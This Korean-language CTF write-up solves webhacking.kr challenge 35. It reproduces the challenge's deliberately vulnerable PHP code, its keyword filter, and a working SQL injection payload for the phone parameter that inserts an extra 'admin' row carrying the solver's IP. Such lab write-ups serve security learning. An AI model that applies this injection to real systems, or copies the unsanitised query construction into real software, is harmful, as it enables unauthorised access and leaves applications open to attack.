[webhacking.kr] 35번 문제 풀이[SQL Injection]
💡 Webhacking.kr challenge(old) 35번 문제에 대한 풀이입니다.
문제
<?php
$db = dbconnect();
if($_GET['phone'] && $_GET['id']){
if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");
if(strlen($_GET['id']) > 5) exit("no hack");
if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error");
echo "Done<br>";
}
$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
solve(35);
mysqli_query($db,"delete from chall35");
}
?>
문제 풀이
필터링 되는 문자열
1 | 2 | 3 | 4 | 5 | 6 | 7 |
---|---|---|---|---|---|---|
* | / | = | select | - | # | ; |
injection 해야 하는 sql 구문
insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})
문제에서 get 방식으로 id, phone을 받아서 db로 바로 입력을 합니다. id는 길이가 5가 넘으면 안되므로 인젝션을 시도하기 적절하지 않고, phone은 필터링 문자들만 우회하면 인젝션을 시도할 수 있습니다.
우선 문제를 풀기 위해서는 다음 조건이 되면 풀립니다.
$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
solve(35);
}
즉 DB에 나의 IP로 ‘admin’ 아이디가 존재해야 합니다.
다음과 같이 phone에 쿼리문을 작성하면 됩니다.
123),('admin','58.122.121.25',123
그러면 서버쪽의 sql 문에서는 다음과 같이 sql 문이 작성됩니다.
insert into chall35(id,ip,phone) values ('guest','58.122.121.25',123),('admin','58.122.121.25',123)
댓글남기기